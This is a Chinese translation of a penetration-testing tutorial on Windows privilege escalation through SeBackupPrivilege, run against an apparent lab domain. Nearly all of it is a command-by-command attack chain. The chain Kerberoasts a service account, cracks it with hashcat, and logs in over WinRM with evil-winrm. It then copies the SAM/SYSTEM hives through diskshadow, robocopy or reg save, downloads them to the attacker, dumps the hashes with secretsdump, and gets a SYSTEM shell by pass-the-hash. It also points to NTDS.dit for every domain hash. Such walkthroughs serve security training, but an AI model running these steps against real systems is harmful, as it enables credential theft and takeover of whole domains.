本文通过 Google 翻译 Sebackupprivilege -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 获得拥有 SeBackupPrivilege 特权的账户](#1 获得拥有 SeBackupPrivilege 特权的账户)
- [2 提取 SAM/SYSTEM 文件副本:diskshadow.exe](#2 提取 SAM/SYSTEM 文件副本:diskshadow.exe)
- [2.1 从 SAM/SYSTEM 文件提取用户 hash,并利用 PTH 攻击提权](#2.1 从 SAM/SYSTEM 文件提取用户 hash,并利用 PTH 攻击提权)
- [3 提取 SAM/SYSTEM 文件副本:reg](#3 提取 SAM/SYSTEM 文件副本:reg)
- [4 提取 SAM/SYSTEM 文件副本:在 RDP 桌面环境下](#4 提取 SAM/SYSTEM 文件副本:在 RDP 桌面环境下)
0、前言
在这篇文章中,我们打算用一个已启用 SeBackupPrivilege 的服务账号从 Windows 服务器中提取 SAM/SYSTEM 文件的副本。
我们来看这样一种场景:我们作为普通的域用户在服务器上获得了立足点,由此开始,我们对备份服务账号进行 Kerberoast 操作,并用破解的凭证登录。接着,我们借助服务账号的 SeBackupPrivilege 特权来获取 SAM/SYSTEM 文件的副本。随后,我们把 SAM/SYSTEM 文件传送到攻击者的机器上,并在本地借助工具导出 SAM/SYSTEM 中的用户哈希值。最后,我们在服务器上实施 PTH (哈希传递攻击),将权限提升到管理员 shell。
SeBackupPrivilege 特权允许用户对系统中的大部分文件进行备份,哪怕文件的访问控制列表(ACL)并未赋予该用户这种访问权限。因此,攻击者可以通过 SeBackupPrivilege 特权备份整个系统盘,从而直接从创建的备份卷中访问任何文件。
注:作者设计的这个获取 SeBackupPrivilege 特权账户的场景太过繁琐,如果只是想查看利用 SeBackupPrivilege 特权的方法,可以跳过第一节,直接从第二节开始阅读。
1、获得拥有 SeBackupPrivilege 特权的账户
在这个域控场景中,主要有两台机器且运行的都是 Windows Server 2019,其中一台是备份服务器(172.16.1.10),另一台是域控 DC(172.16.1.5)。
在某些情况下,我们以普通域用户 efrost 的身份在备份服务器上获得了立足点。由于我们是利用 web 应用程序漏洞获得的立足点,因此我们没有用户的密码。

获得立足点后,我们开始枚举该域,并发现了以下重要信息:
- (1)该域中有两个服务帐户。
cmd
net user /domain

- (2)帐户 backup_svc 位于备份操作员组(Backup Operators)中,这意味着它具有 SeBackupPrivilege 特权。同时该帐户也位于远程管理用户组(Remote Management Users )中,由用户 nessex 管理。
远程管理用户 (Remote Management Users )组中的用户可以通过端口 5985 处的 WinRM 服务执行 PS-Remoting(即 PowerShell 远程连接服务,类似于 ssh 服务);而远程桌面用户(Remote Desktop Users)组中的用户可以通过 RDP 远程连接。
cmd
net user backup_svc /domain

- (3)用户 nesex 位于域管理组(Domain Admins)中。
cmd
net group "Domain Admins" /domain

- (4)用户 nesex 在该计算机上拥有自己的用户配置文件夹,这表明 nesex 用户以前在这台机器上登录过。

- (5)两个服务账户均被分配了 SPN,这致使它们能够遭受 kerberoast 攻击。
cmd
setspn -T juggernaut.local -F -Q */*

我们首先使用 Rubeus.exe 发起一次 kerberoast 攻击,试图提升到其中一个服务账户。
将 Rubeus.exe 下载到受害者机器上,然后使用以下命令成功地请求两个服务帐户的服务票据(TGS-REP HASHES):
cmd
.\Rubeus.exe kerberoast



之后,我们将两个哈希值复制到攻击者机器上的 TXT 文件中,接着手动删除所有的换行符(上图中的那一大串实际是一行字串,粘贴到 TXT 中之后便不再是一行字串了,因此我们需要使其变成一行字串),然后就可以使用 hashcat 进行破解了。
借助 hashcat 的帮助菜单,我们得知 TGS-REP 哈希的破解模式为 13100,接着,我们利用它来构建我们用于破解哈希的 hashcat 命令。
bash
hashcat -h | grep -i 'kerberos'
hashcat -m 13100 ./service_hashes.txt /usr/share/wordlists/rockyou.txt -o cracked_hashes.txt

只用了一小会时间,我们便成功地破解了其中一个服务帐户的哈希密码。

检查输出文件,我们发现破解了 backup_svc 帐户的哈希。

backup_svc : Makemoney1!
本场景只是关于 Kerberoasting 攻击的一个快速示例,如果要了解此攻击的更多示例,请查看我有关 Kerberoasting 的文章。
从之前的枚举中,我们得知该帐户是远程管理用户组的一部分,这意味着我们应该能够在 WinRM 上获得 shell。
为了检测我们是否可以通过 WinRM 获得备份服务器或域控服务器上的 shell,我们将使用一个名为 crackmapexec 的强大工具进行测试:
bash
crackmapexec winrm 172.16.1.5 172.16.1.10 -d juggernaut.local -u backup_svc -p 'Makemoney1!'

看到 Pwn3d! 这意味着我们对备份服务器具有 WinRM 的访问权限。但是,我们没有域控的 WinRM 访问权限。
有了这一发现,我们就可以使用找到的凭证和一个名为 evil-winrm 的强大工具以及以下命令登录备份服务器:
bash
evil-winrm -u backup_svc -p 'Makemoney1!' -i 172.16.1.10

登录之后,使用 whoami /priv 命令快速检查一下当前账户的权限,我们看到它确实启用了 SeBackupPrivilege 特权。

2、提取 SAM/SYSTEM 文件副本:diskshadow.exe
在本例中,我们将使用**卷影副本(Volume Shadow Copy Service, VSS)**管理工具 diskshadow.exe 去创建系统盘(C盘)的卷影副本来提取 SAM/SYSTEM 文件的副本。创建 C 盘的卷影副本后,我们就可以与之交互并访问文件系统中的任何文件。
通常情况下,diskshadow.exe 仅在 Windows Server 上安装,Windows 客户机上不会有。
由于 diskshadow.exe 是一个交互式命令,而我们目前的 shell 环境是一个非交互式的会话,因此我们需要制作一个 diskshadow 的脚本文件,让其以批处理的方式运行任务。
我们直接在受害机器上使用以下命令来制作 diskshadow 脚本文件:
cmd
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
上述命令实际上是让 diskshadow.exe 给 C 盘创建一个副本,然后为其分配盘符 Z 并使其可用(使其可作为驱动器访问)。

现在,我们可以使用以下命令开始运行:
cmd
diskshadow.exe /s c:\temp\diskshadow.txt

现在,C 盘的卷影副本已成功创建并显示为 Z 盘,我们可以使用以下 robocopy 命令从 Z:\windows\system32\config
中提取 SAM/SYSTEM 副本:
cmd
robocopy /b Z:\Windows\System32\Config C:\temp SAM
robocopy /b Z:\Windows\System32\Config C:\temp SYSTEM



如果您能以具有 SeBackupPrivileges 的用户身份访问域控机器,则表示您已破解了整个域(因为整个域用户的哈希我们都能够得到)。在域控机器上,您可以重复上述步骤,但目标不是本地 SAM/SYSTEM 文件,而是 NTDS.dit 文件。因为 SAM 文件只是包含本地用户的哈希值,而 NTDS.dit 文件却包含了所有域用户的哈希值!
2.1、从 SAM/SYSTEM 文件提取用户 hash,并利用 PTH 攻击提权
由于我们正在使用 evil-winrm 工具,因此可以使用工具内置的上传功能将这些文件下载到我们的攻击者机器上。
注:evil-winrm 工具内置的命令有:download、upload、services。
cmd
download .\SAM /opt/Juggernaut/JUGG-Backup/SAM
download .\SYSTEM /opt/Juggernaut/JUGG-Backup/SYSTEM

回到攻击者机,我们看到两个文件都已成功下载。

现在,既然已经拥有了 SAM/SYSTEM 副本,那我们就可以使用 impacket 套件中的 secretsdump.py 这个工具提取哈希了。
bash
secretsdump.py -sam SAM -system SYSTEM LOCAL

在提取出来的用户哈希列表中,令我们最感兴趣的便是 Administrator 用户的哈希。接下来,我们依旧会使用 Impacket 工具套件中的 psexec.py 工具,利用本地管理员的哈希来进行 PTH(pass-the-hash) 攻击,从而在备份服务器上获取 SYSTEM shell。复制整个 NTLM 哈希并将其置入以下命令:
bash
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:5b38382017f8c0ac215895d5f9aacac4 administrator@172.16.1.10

如果想更深入地了解 PTH(pass-the-hash) 攻击,请在此处查看有关该主题的文章。
3、提取 SAM/SYSTEM 文件副本:reg
在本例中,我们使用 reg 命令从注册表中提取 SAM/SYSTEM 文件副本,而在这篇文章中也看到了这种提取 SAM/SYSTEM 文件的技术。
默认情况下,SeBackupPrivileges 特权的用户是被允许导出注册表的配置单元数据(hiv)。
注:注册表虽然是 Windows 系统的一个数据库,但是它的数据信息其实也是存储在文件中的,而不同的根键所对应的配置单元文件的系统路径也是不同的,例如:HKLM 对应着C:\Windows\System32\config\
目录、HKCU 对应着C:\Users\<用户名>\NTUSER.DAT
文件。而 reg save 执行的过程便是导出这个配置单元文件的过程,它的数据和直接从文件系统获取单文件性质是一样的。
使用以下命令,我们可以从注册表中提取 SAM\SYSTEM 文件的副本:
cmd
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM

4、提取 SAM/SYSTEM 文件副本:在 RDP 桌面环境下
在本例中,我们在 Windows 10 桌面环境下演示提取 SAM\SYSTEM 副本的过程。之所以要如此,是因为我们发现在桌面环境下提取 SAM\SYSTEM 副本和在 WinRM 环境下提取副本还是有一些不同的,不同点在于:它要求我们需要具有 Sebackupprivilege 特权的用户的密码。
从示例场景出发,假设 我们是在 Windows 10 主机上获得了一个 efrost 的普通域用户身份的立足点,而不是在备份服务器上。再假设当我们进行域枚举时,发现 backup_svc 用户也是远程桌面用户(Remote Desktop Users)组的一员。

接着以这个示例场景来说,我们对 backup_svc 账户进行 kerberoast 攻击并破解其密码。但这次,我们不再通过 evil-winrm 来获取 shell,而是像这样使用 xfreerdp:
bash
sudo xfreerdp /u:backup_svc /p:'Makemoney1!' /d:juggernaut.local /v:172.16.1.100 +clipboard

我们知道 backup_svc 账户在备份操作员组中,但是,当我们使用 whoami /priv 时,我们却并没有看到 SeBackupPrivilege 特权。

这是因为:在低完整性的 shell 环境中,SeBackupPrivilege 这项特权默认是未开启的。而若要开启该特权,您需要通过"以管理员身份运行"来打开 cmd,这时会弹出一个 UAC 提示框,要求输入当前用户的密码,而这就是 Windows 对备份操作员组中的用户权限的处理方式。


输入密码之后,特权便被开启了。
注:特权的状态虽然是 Disabled,但是并不影响特权功能的使用,这个 Disabled 可忽略。

现在我们有了 SeBackupPrivilege 特权,便可以像之前一样从注册表提取 SAM/SYSTEM 文件副本了。
cmd
reg save hklm\sam C:\temp\SAM
reg save hklm\system C:\temp\SYSTEM
